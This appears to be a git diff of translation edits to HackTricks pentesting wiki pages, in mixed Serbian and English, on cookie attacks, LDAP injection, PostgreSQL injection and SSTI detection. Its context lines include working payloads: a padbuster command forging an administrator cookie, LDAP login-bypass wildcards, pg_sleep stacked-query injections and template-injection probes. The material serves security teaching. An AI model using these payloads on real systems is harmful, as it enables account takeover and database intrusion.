Ovaj napad uključuje krađu korisničkog kolačića kako bi se dobio neovlašćen pristup njihovom nalogu unutar aplikacije. Korišćenjem ukradenog kolačića, napadač može da se pretvara da je legitimni korisnik.
|
Ovaj napad uključuje krađu korisničkog kolačića kako bi se dobio neovlašćen pristup njihovom nalogu unutar aplikacije. Korišćenjem ukradenog kolačića, napadač može imitirati legitimnog korisnika.
|
||||||
|
|
||||||
### Fiksacija sesije
|
### Session Fixation
|
||||||
|
|
||||||
U ovom scenariju, napadač vara žrtvu da koristi određeni kolačić za prijavu. Ako aplikacija ne dodeljuje novi kolačić prilikom prijave, napadač, posedujući originalni kolačić, može da se pretvara da je žrtva. Ova tehnika se oslanja na to da žrtva prijavi sa kolačićem koji je obezbedio napadač.
|
U ovom scenariju, napadač prevari žrtvu da koristi određeni kolačić za prijavu. Ako aplikacija ne dodeljuje novi kolačić prilikom prijave, napadač, posedujući originalni kolačić, može imitirati žrtvu. Ova tehnika se oslanja na to da žrtva prijavi sa kolačićem koji je obezbedio napadač.
|
||||||
|
|
||||||
Ako ste pronašli **XSS u poddomeni** ili **kontrolišete poddomenu**, pročitajte:
|
Ako ste pronašli **XSS u poddomeni** ili **kontrolišete poddomenu**, pročitajte:
|
||||||
|
|
||||||
|
@ -132,9 +132,9 @@ Ako ste pronašli **XSS u poddomeni** ili **kontrolišete poddomenu**, pročitaj
|
||||||
[cookie-tossing.md](cookie-tossing.md)
|
[cookie-tossing.md](cookie-tossing.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### Donacija sesije
|
### Session Donation
|
||||||
|
|
||||||
Ovde, napadač ubeđuje žrtvu da koristi napadačev kolačić sesije. Žrtva, verujući da je prijavljena na svoj nalog, nenamerno će izvršiti radnje u kontekstu napadačevog naloga.
|
Ovde, napadač uverava žrtvu da koristi napadačev kolačić sesije. Žrtva, verujući da je prijavljena na svoj nalog, nenamerno će izvršiti radnje u kontekstu napadačevog naloga.
|
||||||
|
|
||||||
Ako ste pronašli **XSS u poddomeni** ili **kontrolišete poddomenu**, pročitajte:
|
Ako ste pronašli **XSS u poddomeni** ili **kontrolišete poddomenu**, pročitajte:
|
||||||
|
|
||||||
|
@ -142,7 +142,7 @@ Ako ste pronašli **XSS u poddomeni** ili **kontrolišete poddomenu**, pročitaj
|
||||||
[cookie-tossing.md](cookie-tossing.md)
|
[cookie-tossing.md](cookie-tossing.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### [JWT Kolačići](../hacking-jwt-json-web-tokens.md)
|
### [JWT Cookies](../hacking-jwt-json-web-tokens.md)
|
||||||
|
|
||||||
Kliknite na prethodni link da biste pristupili stranici koja objašnjava moguće nedostatke u JWT.
|
Kliknite na prethodni link da biste pristupili stranici koja objašnjava moguće nedostatke u JWT.
|
||||||
|
|
||||||
|
@ -152,7 +152,7 @@ JSON Web Tokens (JWT) korišćeni u kolačićima takođe mogu predstavljati ranj
|
||||||
|
|
||||||
Ovaj napad prisiljava prijavljenog korisnika da izvrši neželjene radnje na veb aplikaciji u kojoj su trenutno autentifikovani. Napadači mogu iskoristiti kolačiće koji se automatski šalju sa svakim zahtevom na ranjivu stranicu.
|
Ovaj napad prisiljava prijavljenog korisnika da izvrši neželjene radnje na veb aplikaciji u kojoj su trenutno autentifikovani. Napadači mogu iskoristiti kolačiće koji se automatski šalju sa svakim zahtevom na ranjivu stranicu.
|
||||||
|
|
||||||
### Prazni kolačići
|
### Empty Cookies
|
||||||
|
|
||||||
(Proverite dalje detalje u [originalnom istraživanju](https://blog.ankursundara.com/cookie-bugs/)) Pregledači dozvoljavaju kreiranje kolačića bez imena, što se može demonstrirati putem JavaScript-a na sledeći način:
|
(Proverite dalje detalje u [originalnom istraživanju](https://blog.ankursundara.com/cookie-bugs/)) Pregledači dozvoljavaju kreiranje kolačića bez imena, što se može demonstrirati putem JavaScript-a na sledeći način:
|
||||||
```js
|
```js
|
||||||
|
@ -176,11 +176,11 @@ U Chrome-u, ako je Unicode zamenska kodna tačka deo postavljenog kolačića, `d
|
||||||
```js
|
```js
|
||||||
document.cookie = "\ud800=meep";
|
document.cookie = "\ud800=meep";
|
||||||
```
|
```
|
||||||
To rezultira `document.cookie` koji ispisuje prazan string, što ukazuje na trajnu korupciju.
|
To rezultira u `document.cookie` koji ispisuje prazan string, što ukazuje na trajnu korupciju.
|
||||||
|
|
||||||
#### Prevara sa kolačićima zbog problema sa parsiranjem
|
#### Prevara sa kolačićima zbog problema sa parsiranjem
|
||||||
|
|
||||||
(Pogledajte dalje detalje u[originalnom istraživanju](https://blog.ankursundara.com/cookie-bugs/)) Nekoliko web servera, uključujući one iz Jave (Jetty, TomCat, Undertow) i Pythona (Zope, cherrypy, web.py, aiohttp, bottle, webob), pogrešno obrađuju stringove kolačića zbog zastarele podrške za RFC2965. Čitaju vrednost kolačića u dvostrukim navodnicima kao jednu vrednost čak i ako uključuje tačke i zareze, koji obično treba da odvajaju parove ključ-vrednost:
|
(Pogledajte dalje detalje u[originalnom istraživanju](https://blog.ankursundara.com/cookie-bugs/)) Nekoliko web servera, uključujući one iz Jave (Jetty, TomCat, Undertow) i Pythona (Zope, cherrypy, web.py, aiohttp, bottle, webob), pogrešno obrađuju stringove kolačića zbog zastarele podrške za RFC2965. Oni čitaju vrednost kolačića u dvostrukim navodnicima kao jednu vrednost čak i ako uključuje tačke-zareze, koje bi obično trebale da razdvajaju parove ključ-vrednost:
|
||||||
```
|
```
|
||||||
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
||||||
```
|
```
|
||||||
|
@ -192,7 +192,7 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
||||||
* Zope traži zarez da započne parsiranje sledećeg kolačića.
|
* Zope traži zarez da započne parsiranje sledećeg kolačića.
|
||||||
* Pythonove klase kolačića započinju parsiranje na razmaku.
|
* Pythonove klase kolačića započinju parsiranje na razmaku.
|
||||||
|
|
||||||
Ova ranjivost je posebno opasna u web aplikacijama koje se oslanjaju na CSRF zaštitu zasnovanu na kolačićima, jer omogućava napadačima da injektiraju lažirane CSRF-token kolačiće, potencijalno zaobilazeći bezbednosne mere. Problem se dodatno pogoršava načinom na koji Python obrađuje duple nazive kolačića, gde poslednja pojava prepisuje ranije. Takođe, postavlja zabrinutosti za `__Secure-` i `__Host-` kolačiće u nesigurnim kontekstima i može dovesti do zaobilaženja autorizacije kada se kolačići proslede back-end serverima podložnim lažiranju.
|
Ova ranjivost je posebno opasna u web aplikacijama koje se oslanjaju na zaštitu od CSRF zasnovanu na kolačićima, jer omogućava napadačima da injektiraju lažirane CSRF-token kolačiće, potencijalno zaobilazeći sigurnosne mere. Problem se dodatno pogoršava načinom na koji Python obrađuje duple nazive kolačića, gde poslednja pojava prepisuje ranije. Takođe, postavlja zabrinutosti za `__Secure-` i `__Host-` kolačiće u nesigurnim kontekstima i može dovesti do zaobilaženja autorizacije kada se kolačići proslede back-end serverima podložnim lažiranju.
|
||||||
|
|
||||||
### Extra Vulnerable Cookies Checks
|
### Extra Vulnerable Cookies Checks
|
||||||
|
|
||||||
|
@ -211,7 +211,7 @@ Ova ranjivost je posebno opasna u web aplikacijama koje se oslanjaju na CSRF za
|
||||||
Ako kolačić ostaje isti (ili gotovo isti) kada se prijavite, to verovatno znači da je kolačić povezan sa nekim poljem vašeg naloga (verovatno korisničkim imenom). Tada možete:
|
Ako kolačić ostaje isti (ili gotovo isti) kada se prijavite, to verovatno znači da je kolačić povezan sa nekim poljem vašeg naloga (verovatno korisničkim imenom). Tada možete:
|
||||||
|
|
||||||
* Pokušajte da kreirate mnogo **naloga** sa korisničkim imenima vrlo **sličnim** i pokušajte da **pogodite** kako algoritam funkcioniše.
|
* Pokušajte da kreirate mnogo **naloga** sa korisničkim imenima vrlo **sličnim** i pokušajte da **pogodite** kako algoritam funkcioniše.
|
||||||
* Pokušajte da **bruteforce-ujete korisničko ime**. Ako se kolačić čuva samo kao metoda autentifikacije za vaše korisničko ime, tada možete kreirati nalog sa korisničkim imenom "**Bmin**" i **bruteforce-ovati** svaki jedini **bit** vašeg kolačića jer će jedan od kolačića koje ćete pokušati biti onaj koji pripada "**admin**".
|
* Pokušajte da **bruteforce-ujete korisničko ime**. Ako se kolačić čuva samo kao metoda autentifikacije za vaše korisničko ime, onda možete kreirati nalog sa korisničkim imenom "**Bmin**" i **bruteforce-ovati** svaki jedini **bit** vašeg kolačića jer će jedan od kolačića koje ćete pokušati biti onaj koji pripada "**admin**".
|
||||||
* Pokušajte **Padding** **Oracle** (možete dekriptovati sadržaj kolačića). Koristite **padbuster**.
|
* Pokušajte **Padding** **Oracle** (možete dekriptovati sadržaj kolačića). Koristite **padbuster**.
|
||||||
|
|
||||||
**Padding Oracle - Padbuster examples**
|
**Padding Oracle - Padbuster examples**
|
||||||
|
@ -228,7 +228,7 @@ Padbuster će napraviti nekoliko pokušaja i pitaće vas koja je uslov greške (
|
||||||
|
|
||||||
Zatim će početi da dekriptuje kolačić (može potrajati nekoliko minuta)
|
Zatim će početi da dekriptuje kolačić (može potrajati nekoliko minuta)
|
||||||
|
|
||||||
Ako je napad uspešno izveden, onda možete pokušati da enkriptujete string po vašem izboru. Na primer, ako želite da **enkriptujete** **user=administrator**
|
Ako je napad uspešno izveden, onda možete pokušati da enkriptujete string po vašem izboru. Na primer, ako želite da **encrypt** **user=administrator**
|
||||||
```
|
```
|
||||||
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
|
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
|
||||||
```
|
```
|
||||||
|
@ -255,7 +255,7 @@ Kreirajte 2 korisnika sa gotovo istim podacima (korisničko ime, lozinka, email,
|
||||||
|
|
||||||
Kreirajte korisnika pod imenom "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" i proverite da li postoji neki obrazac u kolačiću (pošto ECB enkriptuje svaki blok sa istim ključem, isti enkriptovani bajtovi mogu se pojaviti ako je korisničko ime enkriptovano).
|
Kreirajte korisnika pod imenom "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" i proverite da li postoji neki obrazac u kolačiću (pošto ECB enkriptuje svaki blok sa istim ključem, isti enkriptovani bajtovi mogu se pojaviti ako je korisničko ime enkriptovano).
|
||||||
|
|
||||||
Trebalo bi da postoji obrazac (sa veličinom korišćenog bloka). Tako, znajući kako je gomila "a" enkriptovana, možete kreirati korisničko ime: "a"\*(veličina bloka)+"admin". Tada biste mogli da obrišete enkriptovani obrazac bloka "a" iz kolačića. I imaćete kolačić korisničkog imena "admin".
|
Trebalo bi da postoji obrazac (sa veličinom korišćenog bloka). Tako, znajući kako je gomila "a" enkriptovana, možete kreirati korisničko ime: "a"\*(veličina bloka)+"admin". Tada biste mogli da obrišete enkriptovani obrazac jednog bloka "a" iz kolačića. I imaćete kolačić korisničkog imena "admin".
|
||||||
|
|
||||||
## Reference
|
## Reference
|
||||||
|
|
||||||
|
|
|
@ -3,23 +3,23 @@
|
||||||
## LDAP Injection
|
## LDAP Injection
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Učite i vežbajte AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Učite i vežbajte GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Podržite HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ako ste zainteresovani za **hakersku karijeru** i da hakujete ono što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_tečno poznavanje poljskog jezika u pisanju i govoru je obavezno_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -73,9 +73,9 @@ Primer: `(&(directory=val1)(folder=public))`
|
||||||
|
|
||||||
Zatim: `(&(objectClass=`**`*)(ObjectClass=*))`** će biti prvi filter (onaj koji se izvršava).
|
Zatim: `(&(objectClass=`**`*)(ObjectClass=*))`** će biti prvi filter (onaj koji se izvršava).
|
||||||
|
|
||||||
### Bypass prijave
|
### Login Bypass
|
||||||
|
|
||||||
LDAP podržava nekoliko formata za čuvanje lozinke: clear, md5, smd5, sh1, sha, crypt. Dakle, može se desiti da bez obzira na to šta unesete u lozinku, ona bude hash-ovana.
|
LDAP podržava nekoliko formata za čuvanje lozinke: clear, md5, smd5, sh1, sha, crypt. Dakle, može se desiti da bez obzira na to šta unesete u lozinku, ona bude hashovana.
|
||||||
```bash
|
```bash
|
||||||
user=*
|
user=*
|
||||||
password=*
|
password=*
|
||||||
|
@ -224,9 +224,9 @@ intitle:"phpLDAPadmin" inurl:cmd.php
|
||||||
|
|
||||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ako ste zainteresovani za **karijeru u hakovanju** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
Ako ste zainteresovani za **karijeru u hakovanju** i da hakujete ono što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
|
|
@ -15,9 +15,9 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_tečno poznavanje poljskog jezika u pisanju i govoru je obavezno_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -27,7 +27,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
|
||||||
|
|
||||||
## Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration
|
## Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration
|
||||||
|
|
||||||
**PostgreSQL modul `dblink`** nudi mogućnosti za povezivanje sa drugim PostgreSQL instancama i izvršavanje TCP konekcija. Ove funkcije, u kombinaciji sa `COPY FROM` funkcionalnošću, omogućavaju radnje poput eskalacije privilegija, skeniranja portova i hvatanja NTLM izazova. Za detaljne metode o izvršavanju ovih napada proverite kako da [izvršite ove napade](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
|
**PostgreSQL modul `dblink`** nudi mogućnosti za povezivanje sa drugim PostgreSQL instancama i izvršavanje TCP konekcija. Ove funkcije, u kombinaciji sa `COPY FROM` funkcionalnošću, omogućavaju akcije poput eskalacije privilegija, skeniranja portova i hvatanja NTLM izazova. Za detaljne metode o izvršavanju ovih napada proverite kako da [izvršite ove napade](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
|
||||||
|
|
||||||
### **Primer eksfiltracije koristeći dblink i velike objekte**
|
### **Primer eksfiltracije koristeći dblink i velike objekte**
|
||||||
|
|
||||||
|
@ -50,7 +50,7 @@ Manipulacija stringovima može vam pomoći da **zaobiđete WAF-ove ili druge res
|
||||||
|
|
||||||
### Stacked Queries
|
### Stacked Queries
|
||||||
|
|
||||||
Zapamtite da postgresql podržava složene upite, ali nekoliko aplikacija će baciti grešku ako se vrate 2 odgovora kada se očekuje samo 1. Ali, još uvek možete zloupotrebiti složene upite putem vremenske injekcije:
|
Zapamtite da PostgreSQL podržava složene upite, ali nekoliko aplikacija će baciti grešku ako se vrate 2 odgovora kada se očekuje samo 1. Ali, još uvek možete zloupotrebiti složene upite putem vremenske injekcije:
|
||||||
```
|
```
|
||||||
id=1; select pg_sleep(10);-- -
|
id=1; select pg_sleep(10);-- -
|
||||||
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
|
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
|
||||||
|
@ -71,7 +71,7 @@ SELECT database_to_xml(true,true,'');
|
||||||
```
|
```
|
||||||
### Strings in Hex
|
### Strings in Hex
|
||||||
|
|
||||||
Ako možete da izvršavate **upite** prosleđujući ih **unutar stringa** (na primer koristeći funkciju **`query_to_xml`**). **Možete koristiti convert\_from da prosledite string kao heksadecimalni i na taj način zaobiđete filtre:**
|
Ako možete da izvršavate **upite** prosleđujući ih **unutar stringa** (na primer koristeći funkciju **`query_to_xml`**). **Možete koristiti convert\_from da prosledite string kao hex i na taj način zaobiđete filtre:**
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```sql
|
```sql
|
||||||
|
@ -97,7 +97,7 @@ SELECT 'hacktricks';
|
||||||
SELECT $$hacktricks$$;
|
SELECT $$hacktricks$$;
|
||||||
SELECT $TAG$hacktricks$TAG$;
|
SELECT $TAG$hacktricks$TAG$;
|
||||||
```
|
```
|
||||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ako ste zainteresovani za **karijeru u hakovanju** i da hakujete ono što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
Ako ste zainteresovani za **karijeru u hakovanju** i da hakujete ono što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
||||||
|
|
||||||
|
|
|
@ -1,29 +1,31 @@
|
||||||
# SSTI (Server Side Template Injection)
|
# SSTI (Server Side Template Injection)
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
||||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
||||||
|
[https://miro.medium.com/v2/resize:fit:640/format:webp/1\*3RO051EgizbEer-mdHD8Kg.jpe](https://miro.medium.com/v2/resize:fit:640/format:webp/1\*3RO051EgizbEer-mdHD8Kg.jpeg)Učite i vežbajte AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Podržite HackTricks</summary>
|
||||||
|
|
||||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (641).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (641).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**RootedCON**](https://www.rootedcon.com) je najrelevantnija sajber bezbednosna manifestacija u **Španiji** i jedna od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je vrelo okupljanje za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini.
|
[**RootedCON**](https://www.rootedcon.com) je najrelevantnija sajber bezbednosna manifestacija u **Španiji** i jedna od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je vrelo mesto okupljanja za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini.
|
||||||
|
|
||||||
{% embed url="https://www.rootedcon.com/" %}
|
{% embed url="https://www.rootedcon.com/" %}
|
||||||
|
|
||||||
## Šta je SSTI (Server-Side Template Injection)
|
## Šta je SSTI (Server-Side Template Injection)
|
||||||
|
|
||||||
Server-side template injection je ranjivost koja se javlja kada napadač može da ubaci zlonamerni kod u šablon koji se izvršava na serveru. Ova ranjivost se može naći u raznim tehnologijama, uključujući Jinja.
|
Server-side template injection je ranjivost koja se javlja kada napadač može da ubaci zlonamerni kod u šablon koji se izvršava na serveru. Ova ranjivost može se naći u raznim tehnologijama, uključujući Jinja.
|
||||||
|
|
||||||
Jinja je popularni engine za šablone koji se koristi u web aplikacijama. Razmotrimo primer koji prikazuje ranjivi deo koda koristeći Jinja:
|
Jinja je popularni engine za šablone koji se koristi u web aplikacijama. Razmotrimo primer koji prikazuje ranjivi deo koda koristeći Jinja:
|
||||||
```python
|
```python
|
||||||
|
@ -35,22 +37,28 @@ Na primer, napadač bi mogao da kreira zahtev sa payload-om poput ovog:
|
||||||
```
|
```
|
||||||
http://vulnerable-website.com/?name={{bad-stuff-here}}
|
http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||||||
```
|
```
|
||||||
The payload `{{bad-stuff-here}}` se ubacuje u `name` parametar. Ovaj payload može sadržati Jinja šablonske direktive koje omogućavaju napadaču da izvrši neovlašćen kod ili manipuliše šablonskim motorom, potencijalno stičući kontrolu nad serverom.
|
The payload `{{bad-stuff-here}}` je ubačen u `name` parametar. Ovaj payload može sadržati Jinja šablonske direktive koje omogućavaju napadaču da izvrši neovlašćen kod ili manipuliše šablonskim motorom, potencijalno stičući kontrolu nad serverom.
|
||||||
|
|
||||||
Da bi se sprečile ranjivosti od server-side template injection, programeri treba da osiguraju da je korisnički unos pravilno očišćen i validiran pre nego što bude umetnut u šablone. Implementacija validacije unosa i korišćenje tehnika bega koje su svesne konteksta mogu pomoći u smanjenju rizika od ove ranjivosti.
|
Da bi se sprečile ranjivosti od server-side template injection, programeri treba da osiguraju da je korisnički unos pravilno očišćen i validiran pre nego što bude umetnut u šablone. Implementacija validacije unosa i korišćenje tehnika bega svesti o kontekstu može pomoći u smanjenju rizika od ove ranjivosti.
|
||||||
|
|
||||||
### Detection
|
### Detection
|
||||||
|
|
||||||
Da bi se otkrila Server-Side Template Injection (SSTI), inicijalno, **fuzzing šablona** je jednostavan pristup. Ovo uključuje ubacivanje niza specijalnih karaktera (**`${{<%[%'"}}%\`**) u šablon i analizu razlika u serverovom odgovoru na obične podatke u poređenju sa ovim specijalnim payload-om. Indikatori ranjivosti uključuju:
|
Da bi se otkrila Server-Side Template Injection (SSTI), inicijalno, **fuzzing šablona** je jednostavan pristup. Ovo uključuje ubacivanje niza specijalnih karaktera (**`${{<%[%'"}}%\`**) u šablon i analizu razlika u serverovom odgovoru na obične podatke u poređenju sa ovim specijalnim payload-om. Indikatori ranjivosti uključuju:
|
||||||
|
|
||||||
* Bacanje grešaka, otkrivajući ranjivost i potencijalno šablonski motor.
|
* Izbačene greške, koje otkrivaju ranjivost i potencijalno šablonski motor.
|
||||||
* Odsustvo payload-a u refleksiji, ili delovi nedostaju, što implicira da server obrađuje drugačije od običnih podataka.
|
* Odsustvo payload-a u refleksiji, ili delovi nedostaju, što implicira da server obrađuje to drugačije nego obične podatke.
|
||||||
* **Plaintext Context**: Razlikovati od XSS proverom da li server evaluira šablonske izraze (npr., `{{7*7}}`, `${7*7}`).
|
* **Plaintext Context**: Razlikovati od XSS-a proverom da li server evaluira šablonske izraze (npr., `{{7*7}}`, `${7*7}`).
|
||||||
* **Code Context**: Potvrditi ranjivost menjajući ulazne parametre. Na primer, menjanje `greeting` u `http://vulnerable-website.com/?greeting=data.username` da se vidi da li je serverov izlaz dinamičan ili fiksan, kao u `greeting=data.username}}hello` koji vraća korisničko ime.
|
* **Code Context**: Potvrditi ranjivost menjajući ulazne parametre. Na primer, menjajući `greeting` u `http://vulnerable-website.com/?greeting=data.username` da se vidi da li je serverov izlaz dinamičan ili fiksan, kao u `greeting=data.username}}hello` koji vraća korisničko ime.
|
||||||
|
|
||||||
#### Identification Phase
|
#### Identification Phase
|
||||||
|
|
||||||
Identifikacija šablonskog motora uključuje analizu poruka o grešci ili ručno testiranje raznih payload-a specifičnih za jezik. Uobičajeni payload-i koji uzrokuju greške uključuju `${7/0}`, `{{7/0}}`, i `<%= 7/0 %>`. Posmatranje serverovog odgovora na matematičke operacije pomaže u preciznom određivanju specifičnog šablonskog motora.
|
